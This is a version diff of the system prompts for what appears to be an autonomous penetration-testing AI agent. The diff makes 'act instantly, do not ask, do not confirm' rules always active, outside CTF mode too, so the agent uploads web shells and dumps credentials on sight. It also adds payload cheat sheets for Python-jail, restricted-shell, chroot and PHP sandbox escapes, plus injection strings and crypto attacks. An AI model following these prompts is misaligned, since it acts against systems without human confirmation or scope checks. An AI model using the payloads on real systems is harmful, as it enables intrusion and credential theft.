pentesting 0.22.0 → 0.24.0

package/dist/prompts/ctf-mode.md

@@ -1,97 +1,22 @@
-# CTF Competition Mode — Active
+# CTF Mode — Flag Tracking Active
 
-You are in **CTF mode**. This changes your behavior in key ways vs standard pentesting.
+CTF mode enables **automatic flag detection and tracking** in all tool output.
 
-## CTF vs Standard Pentest — Behavioral Shifts
+## What CTF Mode Does
 
-| Aspect | Standard Pentest | CTF Mode (YOU NOW) |
-|--------|------------------|-------------------|
-| Goal | Find vulnerabilities | **Find FLAGS** |
-| Stealth | Essential | **Not needed — GO LOUD** |
-| Time | Days/weeks | **Hours — SPEED IS EVERYTHING** |
-| Clues | None | **Creators leave breadcrumbs — READ THEM** |
-| Vulnerabilities | May not exist | **ALWAYS exist — keep looking** |
+- **Flag detection**: All tool output is scanned for known flag patterns
+  (HTB, THM, picoCTF, DEF CON OOO, CSAW, Google CTF, and generic `FLAG{...}` formats)
+- **Auto-recording**: Detected flags are automatically saved via `add_loot`
+- **Multiple flags**: Some challenges have multiple flags — keep hunting after the first
 
-## 🏴 Flag Hunting Protocol — MANDATORY After Every Access Change
+## Flag Submission
 
-**After EVERY privilege change (new shell, new user, root access):**
-```
-PARALLEL immediately:
-1. find / -maxdepth 4 \( -name 'flag*' -o -name 'user.txt' -o -name 'root.txt' -o -name 'proof.txt' \) 2>/dev/null
-2. grep -ri 'flag{' /home /root /opt /var/www /tmp /srv 2>/dev/null | head -20
-3. env | grep -i flag
-4. Check databases: SELECT * FROM flags; or equivalent
-5. cat /root/root.txt /home/*/user.txt 2>/dev/null
-```
-
-**On Windows targets:**
-```
-dir /s /b C:\*flag* C:\*user.txt C:\*root.txt 2>nul
-type C:\Users\Administrator\Desktop\root.txt 2>nul
-type C:\Users\*\Desktop\user.txt 2>nul
-```
-
-## 🕵️ CTF Breadcrumb Detection
-
-CTF challenge creators ALWAYS leave clues. Look for them:
-- **README files** in web directories or home folders
-- **Unusual filenames** — anything that doesn't belong on a standard system
-- **Comments in source code** — HTML comments, JS comments, CSS comments
-- **Hints in error messages** — custom error pages often contain hints
-- **robots.txt** — disallowed paths are INTENTIONAL hints
-- **Custom HTTP headers** — X-Flag, X-Hint, X-Secret
-- **Base64 strings** in unusual places — decode them
-- **Steganography markers** — unusual file sizes, EXIF data
-
-## ⚡ CTF Speed Optimization
-
-### Parallel Everything
-```
-Turn 1 (ALWAYS):
-├── nmap -sV -sC -T4 --min-rate=1000 -p- <target> (background)
-├── nmap -sU --top-ports=50 -T4 <target> (background)
-├── web_search("<target> CTF writeup") — check for existing writeups
-└── If web port: gobuster/ffuf directory enumeration (background)
-```
-
-### No Confirmation, No Hesitation
-- See a login form? Try admin:admin, admin:password, guest:guest IMMEDIATELY
-- See a file upload? Upload a PHP web shell IMMEDIATELY
-- See a version number? Search for exploits IMMEDIATELY
-- See source code? Read EVERY line for hardcoded secrets
-- See a database? Dump credentials table IMMEDIATELY
-
-### Time Boxes — Don't Get Stuck
-- **5 minutes** on any single attack vector. If no progress → MOVE ON
-- **15 minutes** on any single service. If no progress → different service
-- Never spend time "planning" — ACT and learn from results
-- If stuck for 10+ minutes → `web_search("{service} CTF writeup hacktricks")`
-
-## 🎯 CTF Common Vulnerability Checklist
-
-Try these IN ORDER for every web application (highest probability first):
-1. **Source code disclosure** — view-source, .git, .bak, .swp, robots.txt
-2. **Default credentials** — admin:admin, then web_search("{application} default password")
-3. **SQL Injection** — ' OR 1=1--, ' UNION SELECT, sqlmap --batch
-4. **SSTI** — {{7*7}}, ${7*7}, #{7*7}, <%=7*7%>
-5. **Command Injection** — ;id, |id, $(id), `id`
-6. **File inclusion** — ../../../../etc/passwd, php://filter
-7. **JWT attacks** — algorithm none, weak secret, kid injection
-8. **Deserialization** — PHP (O:...), Java (rO0...), Python pickle
-9. **SSRF** — http://169.254.169.254, http://localhost
-10. **Race condition** — concurrent requests to same endpoint
-
-## 🔍 Flag Format Awareness
+When a flag is detected:
+- Check if a scoreboard URL exists — submit if so
+- Flags may be encoded (base64, hex, rot13) — decode suspicious strings
+- Proof files (user.txt, root.txt) may contain hex hashes — these ARE flags
 
-The system automatically detects flags in tool output. Common formats:
-- `flag{...}` — generic
-- `HTB{...}` — HackTheBox
-- `THM{...}` — TryHackMe
-- `picoCTF{...}` — PicoCTF
-- 32-char hex hash — HTB user.txt/root.txt
-- `XXXX{...}` — custom CTF format
+## Everything Else
 
-When a flag is detected, it is **automatically recorded**. But also:
-- Check if the flag needs to be submitted to a scoreboard
-- Some CTFs have multiple flags per challenge — keep hunting after first flag
-- Flags may be encoded (base64, hex, rot13) — decode suspicious strings
+Strategy, speed, aggression, proof collection, clue detection, time management —
+these are **always active** regardless of CTF mode. See `strategy.md`.

package/dist/prompts/strategy.md

@@ -261,6 +261,48 @@ At every phase transition, STOP and assess:
 └─ WHAT should I do NEXT? (highest probability action from priority matrix)
 ```
 
+## 🏴 Proof Collection — MANDATORY After Every Access Change
+
+**After EVERY privilege change (new shell, new user, root access), IMMEDIATELY collect proof:**
+- Search for flag files, proof files, and sensitive data
+- Check environment variables for secrets
+- Read common proof locations (/root/root.txt, user.txt, proof.txt)
+- Check databases for credential tables
+
+The system **automatically detects** proof strings (flag formats, hashes) in all tool output.
+Record everything with `add_loot` — credentials, keys, tokens, flags, proof files.
+
+## 🕵️ Clue Detection — Read Everything the Target Gives You
+
+Targets always leak information. Actively look for:
+- **README files** in web directories or home folders
+- **Unusual filenames** — anything that doesn't belong on a standard system
+- **Comments in source code** — HTML, JS, CSS, config file comments
+- **Custom error messages** — non-default error pages often reveal paths, versions, logic
+- **robots.txt** — disallowed paths reveal hidden functionality
+- **Custom HTTP headers** — X-Powered-By, X-Debug, non-standard headers
+- **Base64/hex strings** in unusual places — decode them
+- **File metadata** — EXIF, document properties, timestamps
+
+## ⏱️ Time Box — Don't Get Stuck
+
+```
+- 5 minutes on any single attack vector. No progress → SWITCH vector
+- 15 minutes on any single service. No progress → SWITCH service
+- Never spend time "planning" — ACT and learn from results
+- If stuck 10+ minutes → web_search("{service} exploit hacktricks")
+- EVERY TURN must have tool calls. No exceptions.
+```
+
+## ⚡ Immediate Action — No Hesitation
+
+When you see something, act instantly. Do not ask, do not plan, do not confirm:
+- Login form → try default credentials IMMEDIATELY
+- File upload → upload a web shell IMMEDIATELY
+- Version number → search for exploits IMMEDIATELY
+- Source code → read for hardcoded secrets IMMEDIATELY
+- Database access → dump credentials IMMEDIATELY
+
 ##  Kill Chain Acceleration
 
 Traditional kill chain is too linear. Real pentesting is **parallel and recursive**:

package/dist/prompts/techniques/crypto.md

@@ -74,3 +74,84 @@ When you can detect valid vs invalid padding:
 ├── Manual: Compare response to correct vs incorrect padding
 └── Decrypt AND forge new tokens — often leads to admin access
 ```
+
+## Elliptic Curve Attacks
+```
+ECC vulnerabilities in CTF:
+├── Invalid curve attack:
+│   Point not validated → send point on weak curve
+│   Compute DLP on weak curve → recover private key
+├── Smart's attack: anomalous curves (trace=1)
+│   Lift to p-adic → solve in O(1)
+├── MOV attack: small embedding degree
+│   Move DLP to finite field via Weil pairing
+├── Pohlig-Hellman: smooth curve order
+│   Factor order → solve DLP in subgroups → CRT
+├── ECDSA nonce reuse (k reuse):
+│   Two signatures with same k → recover private key
+│   s1*k - H(m1) ≡ s2*k - H(m2) mod n
+│   k = (H(m1) - H(m2)) / (s1 - s2) mod n
+├── Biased nonce (lattice attack):
+│   Partial nonce leak → Hidden Number Problem → LLL
+└── Curve parameter manipulation:
+    Custom curve with weak parameters → check order
+
+SageMath template:
+E = EllipticCurve(GF(p), [a, b])
+G = E(Gx, Gy)
+P = E(Px, Py)  # public key point
+# discrete_log for small order:
+d = G.discrete_log(P)
+```
+
+## AES / Block Cipher Attacks
+```
+Identify cipher mode and attack:
+├── ECB detection: same plaintext block → same ciphertext block
+│   Send repeated 16-byte blocks → check for repeating output
+│   ECB penguin: byte-at-a-time chosen-plaintext → decrypt flag
+├── CBC bit-flipping:
+│   Modify ciphertext byte → predictable change in next block plaintext
+│   Change "admin=0" → "admin=1" by XORing correct byte
+│   Target byte: C[i][j] ^= old_val ^ new_val
+├── CBC-MAC forgery:
+│   Length extension if no length prepend
+│   MAC(m1) ⊕ m2_first_block → forge MAC(m1 || m2)
+├── CTR mode: nonce reuse → XOR ciphertexts → crib dragging
+│   C1 ⊕ C2 = P1 ⊕ P2 → known plaintext reveals other
+├── GCM nonce reuse: recover auth key H → forge tags
+└── Key recovery:
+    Known plaintext + ciphertext → differential/linear cryptanalysis
+    Related-key attack: if key modification is possible
+
+CyberChef operations for quick crypto:
+├── AES Decrypt → try ECB/CBC with extracted key/IV
+├── XOR → brute-force single-byte key (all 256)
+├── From Hex / From Base64 → decode layers
+└── Magic → auto-detect encoding/encryption
+```
+
+## Modern / Advanced Crypto
+```
+Lattice-based (common in hard CTF crypto):
+├── LLL algorithm: basis reduction → find short vectors
+│   from fpylll import IntegerMatrix, LLL
+│   M = IntegerMatrix(rows)
+│   LLL.reduction(M)
+├── Knapsack crypto: reduce to SVP → LLL
+├── Coppersmith: find small roots of polynomial mod N
+│   SageMath: small_roots(X=bound, beta=0.5)
+│   Common use: partial known plaintext in RSA
+├── Hidden Number Problem (HNP):
+│   Biased ECDSA nonce → LLL → recover key
+└── NTRU: lattice-based → LLL reduction
+
+Side-channel (rare but appears at DEF CON):
+├── Timing attack: response time varies with input
+│   → Character-by-character brute force with timing measurement
+│   → Script: measure response_time for each char candidate
+├── Power analysis: if given power traces
+│   Differential Power Analysis (DPA) → recover AES key
+└── Cache timing: Flush+Reload on shared libraries
+```
+

package/dist/prompts/techniques/reversing.md

@@ -0,0 +1,183 @@
+# Reverse Engineering Techniques
+
+## Static Analysis — First Pass
+```
+Automated recon on any binary:
+├── file <binary>              → architecture, linking, stripped?
+├── strings <binary> | grep -iE 'flag|pass|key|secret|http'
+├── strings -el <binary>       → UTF-16 strings (Windows PE)
+├── readelf -h <binary>        → ELF header (entry point, type)
+├── readelf -s <binary>        → symbol table (if not stripped)
+├── readelf -d <binary>        → dynamic section (libraries)
+├── objdump -d <binary>        → full disassembly
+├── objdump -t <binary>        → symbol table
+├── nm <binary>                → list symbols
+├── checksec --file=<binary>   → protections (NX, PIE, Canary, RELRO)
+└── ldd <binary>               → shared libraries
+```
+
+## Disassemblers & Decompilers
+```
+Ghidra (free, NSA):
+├── Auto-analysis on import → wait for completion
+├── Symbol Tree → Functions → main, check_*, verify_*
+├── Decompiler window → pseudo-C output
+├── Patch bytes: Right-click → Patch Instruction
+├── Scripting: Tools → Script Manager → Python/Java
+├── Cross-references: Right-click → References → Find references to
+└── Data types: Right-click → Retype Variable → set correct type
+
+Radare2/rizin (CLI):
+├── r2 -A <binary>           → open with auto-analysis
+├── afl                       → list functions
+├── pdf @main                 → disassemble main
+├── VV @main                  → visual graph mode
+├── s <addr>; pd 20           → seek and disassemble
+├── px 100 @<addr>            → hex dump
+├── iz                        → strings in data sections
+├── axt <addr>                → cross-references to address
+└── ood; dc                   → debug: reopen and continue
+
+IDA Free:
+├── F5 → decompile to pseudo-C
+├── X → cross-references
+├── G → go to address
+├── N → rename variable/function
+└── / → search text/bytes
+```
+
+## Dynamic Analysis
+```
+GDB + GEF/pwndbg:
+├── gdb -q ./<binary>
+├── b *main                   → breakpoint at main
+├── b *0x<addr>               → breakpoint at address
+├── r                         → run
+├── ni / si                   → next instruction / step into
+├── x/20gx $rsp               → examine stack
+├── x/s <addr>                → examine as string
+├── info registers            → all registers
+├── vmmap                     → memory mappings (GEF)
+├── telescope $rsp 20         → smart stack view (pwndbg)
+├── heap bins                 → heap state (pwndbg)
+└── set *<addr>=<value>       → modify memory
+
+ltrace / strace:
+├── ltrace ./<binary>         → library calls (strcmp, malloc, puts)
+│   → strcmp("input", "s3cr3t") reveals the password directly!
+├── strace ./<binary>         → system calls (open, read, write)
+└── strace -e trace=open ./<binary>  → filter specific syscalls
+
+Frida (runtime instrumentation):
+├── frida -U -f <package>     → Android/iOS attach
+├── Interceptor.attach(addr, { onEnter(args) { ... }})
+├── Module.findExportByName("libc.so", "strcmp")
+└── Java.perform(() => { ... })  → Java method hooking
+```
+
+## Anti-Reversing Bypass
+```
+Common protections and bypasses:
+├── UPX packing: upx -d <binary>        → decompress
+├── Custom packer: Dump from memory after self-unpacking
+│   ├── gdb: b *entry_after_unpack; dump memory out.bin 0x400000 0x600000
+│   └── Or use OllyDump / Scylla for PE files
+├── Anti-debug (ptrace):
+│   ├── Check: ltrace → PTRACE_TRACEME call?
+│   ├── Bypass: LD_PRELOAD with fake ptrace returning 0
+│   ├── Or: gdb → catch syscall ptrace → set $rax=0 → continue
+│   └── Or: patch the ptrace call to NOP (0x90)
+├── Obfuscation (control flow flattening):
+│   ├── Identify dispatcher pattern → trace actual execution path
+│   ├── Use symbolic execution: angr (Python)
+│   └── Script deobfuscation with Ghidra/IDA
+├── Timing checks:
+│   ├── Patch rdtsc/time calls
+│   └── Hook time() to return constant
+└── VM-based protection:
+    ├── Identify VM bytecode interpreter loop
+    ├── Extract bytecode, build custom disassembler
+    └── Often: switch-case on opcodes → map each opcode
+```
+
+## Symbolic Execution (angr)
+```
+For complex crackmes with many branches:
+
+import angr
+import claripy
+
+proj = angr.Project('./<binary>', auto_load_libs=False)
+state = proj.factory.entry_state()
+simgr = proj.factory.simulation_manager(state)
+
+# Find state that reaches "Correct!" / avoid "Wrong!"
+simgr.explore(
+    find=lambda s: b"Correct" in s.posix.dumps(1),
+    avoid=lambda s: b"Wrong" in s.posix.dumps(1)
+)
+
+if simgr.found:
+    solution = simgr.found[0]
+    print(solution.posix.dumps(0))  # stdin that reaches "Correct"
+```
+
+## .NET / Java Decompilation
+```
+.NET (C#):
+├── dnSpy / ILSpy → full source code recovery
+├── dotPeek (JetBrains) → decompile to C#
+├── de4dot → deobfuscate .NET binaries
+├── Edit method bodies directly in dnSpy → recompile
+└── Check: file <binary> → "PE32 executable ... Mono/.Net assembly"
+
+Java:
+├── JD-GUI → decompile .class → .java
+├── JADX → Android APK → Java source
+│   jadx -d output/ <file.apk>
+├── CFR → modern Java decompiler (handles lambdas)
+│   java -jar cfr.jar <file.jar> --outputdir out/
+├── procyon → another decompiler
+└── Unpack JAR: jar xf <file.jar> → get .class files
+```
+
+## Android / Mobile Reversing
+```
+APK analysis:
+├── apktool d <app.apk>      → decompile resources + smali
+├── jadx -d output/ <app.apk> → decompile to Java
+├── unzip <app.apk>           → raw contents (classes.dex, lib/)
+├── dex2jar <classes.dex>     → convert DEX to JAR
+├── Check AndroidManifest.xml → permissions, activities, services
+├── Search for: API keys, URLs, hardcoded secrets
+│   grep -ri 'api_key\|secret\|flag\|password' output/
+├── Native libraries: lib/<arch>/*.so → Ghidra/IDA
+└── Frida for runtime: frida -U -f <package> --no-pause -l script.js
+
+iOS:
+├── Clutch / bfinject → decrypt IPA from jailbroken device
+├── class-dump → dump ObjC headers
+├── Hopper / IDA → disassemble Mach-O
+└── Frida → runtime hooks on iOS
+```
+
+## Common CTF Rev Patterns
+```
+Pattern recognition — what to look for:
+├── Simple XOR: Key repeated over flag → XOR with known prefix "flag{"
+├── Custom encoding: Lookup table → build inverse table
+├── Matrix/math transform: Reverse the operations
+├── Maze/game solver: Extract map → BFS/DFS algorithm
+├── VM challenge: Custom bytecode → write disassembler → understand ops
+├── Anti-debug + encrypted flag: Bypass anti-debug → let decryption run
+├── Incremental check: Each char checked independently → brute force per char
+│   → Timing side-channel or ltrace strcmp
+├── Z3/constraint solving: Model constraints → z3.Solver().check()
+│   from z3 import *
+│   s = Solver()
+│   flag = [BitVec(f'f{i}', 8) for i in range(32)]
+│   # Add constraints from decompiled code
+│   s.add(flag[0] == ord('f'), flag[1] == ord('l'), ...)
+│   s.check(); m = s.model()
+└── Angr for path explosion: When manual analysis is too slow
+```

package/dist/prompts/techniques/sandbox-escape.md

@@ -0,0 +1,73 @@
+# Sandbox & Restricted Environment Escape Techniques
+
+## Python Jail (pyjail)
+```
+Bypass filter with builtins:
+├── __builtins__.__import__('os').system('cat /flag')
+├── eval(compile('import os; os.system("id")', '<x>', 'exec'))
+├── Without import keyword:
+│   ().__class__.__bases__[0].__subclasses__()[N]  → find os._wrap_close
+│   ''.__class__.__mro__[1].__subclasses__()  → enumerate subclasses
+├── Bypass char filters:
+│   chr(111)+chr(115) → 'os'
+│   getattr(__builtins__, '\x5f\x5fimport\x5f\x5f')('os')
+├── eval/exec tricks:
+│   eval(bytes([105,109,112,111,114,116]).decode())
+│   exec('\x5f\x5fimport\x5f\x5f("os").system("sh")')
+└── breakpoint() → drops to pdb → import os
+```
+
+## PHP disable_functions Bypass
+```
+├── mail() + putenv(): LD_PRELOAD injection
+│   putenv("LD_PRELOAD=/tmp/evil.so"); mail('','','','');
+├── FFI (PHP 7.4+): FFI::cdef() → call system()
+├── imap_open(): with /norsh flag
+├── imagick: LD_PRELOAD via MAGICK_CONFIGURE_PATH
+├── pcntl_exec(): if not in disable list
+└── Chankro: bypass via LD_PRELOAD + sendmail
+```
+
+## Bash Restricted Shell Escape (rbash/rksh)
+```
+├── vi/vim → :!/bin/bash
+├── awk 'BEGIN {system("/bin/bash")}'
+├── python -c 'import pty; pty.spawn("/bin/bash")'
+├── find / -exec /bin/bash \;
+├── BASH_ENV, ENV, SHELLOPTS manipulation
+├── cp /bin/bash /tmp/; /tmp/bash
+├── ssh user@localhost -t bash
+└── Use any command that can spawn a subshell:
+    less, more, man, nmap --interactive, ftp → !/bin/bash
+```
+
+## seccomp Bypass (Binary Exploitation)
+```
+├── Allowed syscalls only → use openat/read/write to read flag
+├── open() banned → openat(AT_FDCWD, "/flag", O_RDONLY)
+├── execve banned → ORW chain (open → read → write)
+├── sendfile() as alternative to read+write
+└── Ret2dlresolve if seccomp applied after dynamic linking
+```
+
+## Docker / Container Escape
+```
+See container-escape.md for full Docker/K8s escape techniques.
+```
+
+## chroot Escape
+```
+├── mkdir foo; chroot foo; cd ../../../../../../; chroot .
+├── Open file descriptor to / before chroot, then fchdir
+├── Mount /proc if available → access host filesystem
+└── Kernel exploit → bypass chroot entirely
+```
+
+## AppArmor / SELinux Bypass
+```
+├── Check profile: cat /proc/self/attr/current
+├── AppArmor: aa-status, find unconfined processes
+├── SELinux: getenforce, find permissive domains
+├── Transition to unconfined context via allowed binary
+└── web_search("{apparmor|selinux} bypass {profile name}")
+```

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "pentesting",
-  "version": "0.22.0",
+  "version": "0.24.0",
   "description": "Autonomous Penetration Testing AI Agent",
   "type": "module",
   "main": "dist/main.js",